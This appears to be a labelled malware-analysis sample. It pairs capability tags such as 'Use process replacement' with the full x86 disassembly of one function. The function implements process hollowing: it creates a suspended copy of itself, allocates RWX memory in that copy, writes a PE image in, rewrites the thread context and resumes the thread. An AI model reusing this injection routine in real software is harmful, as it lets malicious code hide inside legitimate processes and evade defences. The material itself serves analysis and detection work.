Function at 0x40170f
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x484
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x401745
mov eax, 0xffffffff
jmp 0x401ab4
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x34]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x78], 0x44
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x44c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x44c]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x34]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x78]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000004
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
je 0x401aaf
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x2cc
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401848
mov eax, 0xfffffffe
jmp 0x401ab4
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadContext]
call eax
sub esp, 8
test eax, eax
je 0x401a8f
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xa4]
add eax, 8
mov ecx, eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x348]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x50]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
mov ecx, eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x401915
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, 0xfffffffd
jmp 0x401ab4
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x54]
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 8]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
add eax, 0xf8
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xc], 0
jmp 0x4019de
mov edx, dword [ebp - 0xc]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0xc]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp + 8]
add eax, edx
mov ebx, eax
mov edx, dword [ebp - 0xc]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x20]
add eax, edx
mov edx, eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0xc], eax
jl 0x401963
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xa4]
add eax, 8
mov ecx, eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x20]
add edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0xb0], edx
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetThreadContext]
call eax
sub esp, 8
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ResumeThread]
call eax
sub esp, 4
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, 0
jmp 0x401ab4
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, 0xfffffffc
mov ebx, dword [ebp - 4]
leave
ret